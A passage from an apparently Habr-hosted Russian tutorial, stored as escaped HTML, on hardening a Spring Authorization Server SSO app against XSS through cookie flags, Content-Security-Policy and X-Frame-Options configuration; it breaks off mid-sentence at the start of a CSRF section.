nofollow\">\u0442\u0443\u0442<\/a>.<\/p>\n<p>\u0427\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u043f\u0443\u043d\u043a\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0443 \u043d\u0430\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d. \u0415\u0441\u043b\u0438 \u0432\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u043d\u0430 \u043a\u0443\u043a\u0438 \u043d\u0430\u0448\u0435\u0433\u043e j-sso (SESSION), \u0442\u043e \u0443\u0432\u0438\u0434\u0438\u0442\u0435, \u0447\u0442\u043e \u043e\u043d\u0438 \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438: HttpOnly = true; Same Site = Lax. \u041e\u0431 \u044d\u0442\u043e\u043c \u0443\u0436\u0435 \u043f\u043e\u0437\u0430\u0431\u043e\u0442\u0438\u043b\u0441\u044f Spring Security. \u041d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0435 \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0435\u0449\u0451 Cookie, \u0432\u0430\u043c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430\u0434\u0443\u043c\u0430\u0442\u044c\u0441\u044f \u043e\u0431 \u0438\u0445 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/8a8\/d58\/555\/8a8d585558780bfc915693e91953c7c2.png\" alt=\"SESSION cookie\" title=\"SESSION cookie\" width=\"1200\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/8a8\/d58\/555\/8a8d585558780bfc915693e91953c7c2.png\"\/><\/p>\n<div><figcaption>SESSION cookie<\/figcaption><\/div>\n<\/figure>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u043c\u044b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0442\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f SSL. \u041d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0435\u0433\u043e, \u0432\u044b \u0441\u043c\u043e\u0436\u0435\u0442\u0435 \u0443\u0436\u0435 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u043d\u0430 \u0431\u0430\u043b\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0435. \u0422\u0430\u043a \u043a\u0430\u043a \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 SSL \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430, \u043c\u044b \u0441\u0435\u0439\u0447\u0430\u0441 \u044d\u0442\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c \u043d\u0435 \u0431\u0443\u0434\u0435\u043c, \u043d\u043e \u0435\u0441\u043b\u0438 \u0432\u0430\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a <a href=\"https:\/\/timeweb.com\/ru\/community\/articles\/kak-nastroit-ssl-sertifikat-na-nginx\" rel=\"noopener noreferrer nofollow\">\u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a>.<\/p>\n<p>\u041f\u044f\u0442\u044b\u0439 \u043f\u0443\u043d\u043a\u0442 \u0441\u0430\u043c\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439, \u043c\u044b \u0435\u0433\u043e \u0435\u0449\u0451 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u043b\u0438. \u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a CSP \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c, \u043a\u0430\u043a\u0438\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u044b\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0432\u0435\u0440\u044f\u0442\u044c, \u0430 \u043a\u0430\u043a\u0438\u043c \u043d\u0435\u0442, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u0441\u0442\u0432\u0443\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, js \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0441 \u0441\u0430\u0439\u0442\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430). \u0427\u0442\u043e\u0431\u044b \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u044c meta \u0442\u0435\u0433 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u0445 \u043d\u0430\u0448\u0435\u0439 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/blob\/chapter-5.2\/j-sso\/client\/public\/index.html\" rel=\"noopener noreferrer nofollow\">index.html<\/a>. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0442\u0430\u043a: <code>&lt;meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'self'; img-src https:\/\/*; child-src 'none';\" \/><\/code>.<\/p>\n<p>\u041d\u043e \u0435\u0449\u0435 \u043c\u043e\u0436\u043d\u043e \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0438 \u043d\u0430 backend-\u0435. \u0418 \u0432 \u044d\u0442\u043e\u043c \u043d\u0430\u043c \u043f\u043e\u043c\u043e\u0436\u0435\u0442 Spring Security. \u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043a\u043b\u0430\u0441\u0441 <code>SecurityProperties<\/code>, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u0432\u0441\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438\u0437 <code>application.yml<\/code> \u0444\u0430\u0439\u043b\u0430. \u0414\u0430\u043b\u0435\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e <code>SecurityConfig<\/code> \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<p><code><strong>SecurityConfig.java<\/strong><\/code><\/p>\n<pre><code class=\"java\"> @Configuration(proxyBeanMethods = false) public class SecurityConfig {      private final SecurityProperties.Headers securityHeaderProperties;      \/\/ .....      @Bean     public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {         http.headers(customizer -> {             customizer.contentSecurityPolicy(                     configurer -> configurer.policyDirectives(securityHeaderProperties.getCSPLikeString())             );         });     } } <\/code><\/pre>\n<p><code><strong>application.yml<\/strong><\/code><\/p>\n<pre><code class=\"yaml\">spring:     security:         headers:             csp:                 - default-src 'self'                 - script-src 'self'                 - img-src 'self'                 - font-src 'self' fonts.gstatic.com                 - style-src 'self' fonts.googleapis.com 'nonce-dQw4w9WgXcQ' 'sha256-VBcDFo4Ltbcy2NNfi2Jeyo6IXzMKysUIvWc1d1FGhgY='                 - frame-ancestors 'self'  <\/code><\/pre>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c, \u0447\u0442\u043e \u043c\u044b \u0443\u043a\u0430\u0437\u0430\u043b\u0438:<\/p>\n<ol>\n<li>\n<p><code>default-src 'self'<\/code> &#8212; \u0412\u0435\u0441\u044c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0434\u0442\u0438 \u0441 \u043d\u0430\u0448\u0435\u0433\u043e \u0441\u0430\u0439\u0442\u0430. \u041f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u044b \u043d\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u044e\u0442\u0441\u044f.<\/p>\n<\/li>\n<li>\n<p><code>script-src 'self'<\/code> &#8212; \u0423\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c, \u0447\u0442\u043e JS \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430.<\/p>\n<\/li>\n<li>\n<p><code>img-src 'self' data:<\/code> &#8212; \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043c\u0435\u0434\u0438\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0441\u0430\u0439\u0442\u0430. \u041d\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0438\u0437 \u0441\u0442\u0440\u043e\u043a\u0438 base64 (\u043d\u0443\u0436\u043d\u043e \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0438).<\/p>\n<\/li>\n<li>\n<p><code>font-src 'self' fonts.gstatic.com<\/code> &#8212; \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0441\u0430\u0439\u0442\u0430 \u0438 c Google.<\/p>\n<\/li>\n<li>\n<p><code>style-src 'self' fonts.googleapis.com 'nonce-dQw4w9WgXcQ' 'sha256-VBcDFo4Ltbcy2NNfi2Jeyo6IXzMKysUIvWc1d1FGhgY='<\/code> &#8212; \u0437\u0434\u0435\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0441\u0430\u043c\u043e\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0435. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0441\u0442\u0438\u043b\u0435\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u043d\u0430\u0448\u0435\u0433\u043e \u0441\u0430\u0439\u0442\u0430. \u0414\u0430\u043b\u0435\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0441\u0442\u0438\u043b\u0438 \u0441 <code>fonts.googleapis.com<\/code> (\u044d\u0442\u043e \u0434\u043b\u044f \u0433\u0443\u0433\u043b\u043e\u0432\u044b\u0445 \u0448\u0440\u0438\u0444\u0442\u043e\u0432). \u0421\u0442\u0438\u043b\u0438 Vuetify \u043f\u043e\u043c\u0435\u0442\u0438\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u043e\u043c <code>nonce-dQw4w9WgXcQ<\/code> (\u0435\u0433\u043e \u043c\u044b \u0443\u043a\u0430\u0437\u0430\u043b\u0438 \u043f\u0440\u0438 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/blob\/chapter-5.2\/j-sso\/client\/src\/global\/plugins\/vuetify-plugin.js\" rel=\"noopener noreferrer nofollow\">\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 \u0442\u0435\u043c (cspNonce)<\/a>). \u0418 \u0435\u0449\u0451 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u0445\u044d\u0448 \u0441\u0442\u0438\u043b\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 <code>@kyvg\/vue3-notification<\/code> (\u043b\u0443\u0447\u0448\u0435\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0435 \u043d\u0430\u0448\u0451\u043b, \u0435\u0441\u043b\u0438 \u043a\u0442\u043e \u0437\u043d\u0430\u0435\u0442, \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0442\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c nonce, \u0442\u043e \u043e\u0442\u043f\u0438\u0448\u0438\u0442\u0435 \u0432 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445).<\/p>\n<\/li>\n<li>\n<p><code>frame-ancestors 'self'<\/code> &#8212; \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c, \u0433\u0434\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 j-sso \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0442\u0435\u0433\u043e\u0432: <code>&lt;frame><\/code>, <code>&lt;iframe><\/code>, <code>&lt;object><\/code> \u0438\u043b\u0438 <code>&lt;embed><\/code>.<\/p>\n<\/li>\n<\/ol>\n<p>\u0411\u043e\u043b\u0435\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431\u043e \u0432\u0441\u0435\u0445 \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u0430\u0445 CSP \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/Content-Security-Policy\/Sources\" rel=\"noopener noreferrer nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a>.<\/p>\n<p>\u0422\u0430\u043a \u043a\u0430\u043a \u0441 \u0442\u0430\u043a\u0438\u043c\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0443\u0434\u043e\u0431\u043d\u043e \u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443, \u0442\u043e \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0437\u0430\u0434\u0430\u0434\u0438\u043c \u0431\u043e\u043b\u0435\u0435 \u043c\u044f\u0433\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0444\u0430\u0439\u043b\u0430 <code>prod<\/code> \u0443\u043a\u0430\u0436\u0435\u043c \u0442\u0435, \u0447\u0442\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438. \u0427\u0442\u043e\u0431\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u043a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043d\u0430\u0448\u0435\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438, \u0441\u043e\u0431\u0435\u0440\u0438\u0442\u0435 \u0435\u0433\u043e \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0435, \u0443\u043a\u0430\u0437\u0430\u0432 \u043f\u0440\u043e\u0444\u0430\u0439\u043b <code>prod<\/code>, \u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435\u0441\u044c \u0433\u043e\u0442\u043e\u0432\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 <code>run jsso as prod<\/code> \u0432 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/blob\/chapter-5.2\/.idea\/runConfigurations\/run_jsso_as_prod.xml\" rel=\"noopener noreferrer nofollow\">\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430<\/a>.<\/p>\n<p>\u0418 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u043e\u0442 XSS \u0431\u044b\u043b \u043f\u0443\u043d\u043a\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-Frame-Options\" rel=\"noopener noreferrer nofollow\"><code>X-Frame-Options<\/code><\/a>. \u0414\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u043c\u043e\u0436\u0435\u0442 \u043b\u0438 \u0441\u0430\u0439\u0442 \u0431\u044b\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d \u0432\u043d\u0443\u0442\u0440\u0438 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0442\u0435\u0433\u043e\u0432: <code>&lt;frame><\/code>, <code>&lt;iframe><\/code>, <code>&lt;object><\/code> \u0438\u043b\u0438 <code>&lt;embed><\/code>. \u0414\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u0435\u043d \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u0435 <code>frame-ancestors<\/code> \u0432 CSP. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0435\u0441\u043b\u0438 \u0432\u044b \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b\u0438 <code>frame-ancestors<\/code>, \u0442\u043e \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a <code>X-Frame-Options<\/code> \u043d\u0435\u043d\u0443\u0436\u043d\u044b\u043c. \u041d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0435\u0433\u043e \u0432\u0441\u0451-\u0442\u0430\u043a\u0438 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0435\u0441\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c, \u0442\u043e Spring Security \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0432\u0430\u043c \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<p><code><strong>SecurityConfig.java<\/strong><\/code><\/p>\n<pre><code class=\"java\">public class SecurityConfig {     \/\/ ....      @Bean     public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {         \/\/ ....         http.headers(customizer -> {             customizer.contentSecurityPolicy(                     configurer -> configurer.policyDirectives(securityHeaderProperties.getCSPLikeString())             );              \/\/ \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 X-Frame-Options             customizer.frameOptions(HeadersConfigurer.FrameOptionsConfig::deny);         });     } } <\/code><\/pre>\n<p>\u0421\u0442\u043e\u0438\u0442 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0430\u0440\u0443 \u0441\u043b\u043e\u0432 \u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-XSS-Protection\" rel=\"noopener noreferrer nofollow\"><code>X-XSS-Protection<\/code><\/a>. \u0414\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 XSS \u0430\u0442\u0430\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b. \u041f\u0440\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 XSS \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0441\u0430\u0439\u0442\u0430. \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u044d\u0442\u043e\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u043c\u0438, \u0438 \u043d\u0430 \u0441\u043c\u0435\u043d\u0443 \u0435\u043c\u0443 \u043f\u0440\u0438\u0448\u0451\u043b \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a CSP.<\/p>\n<h4>CSRF<\/h4>\n<blockquote>\n<p>CSRF (\u0430\u043d\u0433\u043b. cross-site request forgery \u2014 \u00ab\u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u0430\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u00bb, \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u043a\u0430\u043a XSRF) \u2014 \u0432\u0438\u0434 \u0430\u0442\u0430\u043a \u043d\u0430 \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u0435\u0439 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 HTTP. \u0415\u0441\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u0430 \u0437\u0430\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0441\u0430\u0439\u0442, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u043e\u0442 \u0435\u0451 \u043b\u0438\u0446\u0430 \u0442\u0430\u0439\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b), \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043d\u0435\u043a\u0443\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0434\u0435\u043d\u0435\u0433 \u043d\u0430 \u0441\u0447\u0451\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430). \u0414\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0436\u0435\u0440\u0442\u0432\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 \u0442\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441, \u0438 \u044d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u043a\u043e\u0433\u043e-\u043b\u0438\u0431\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0438\u043b\u0438 \u043f\u043e\u0434\u0434\u0435\u043b\u0430\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c 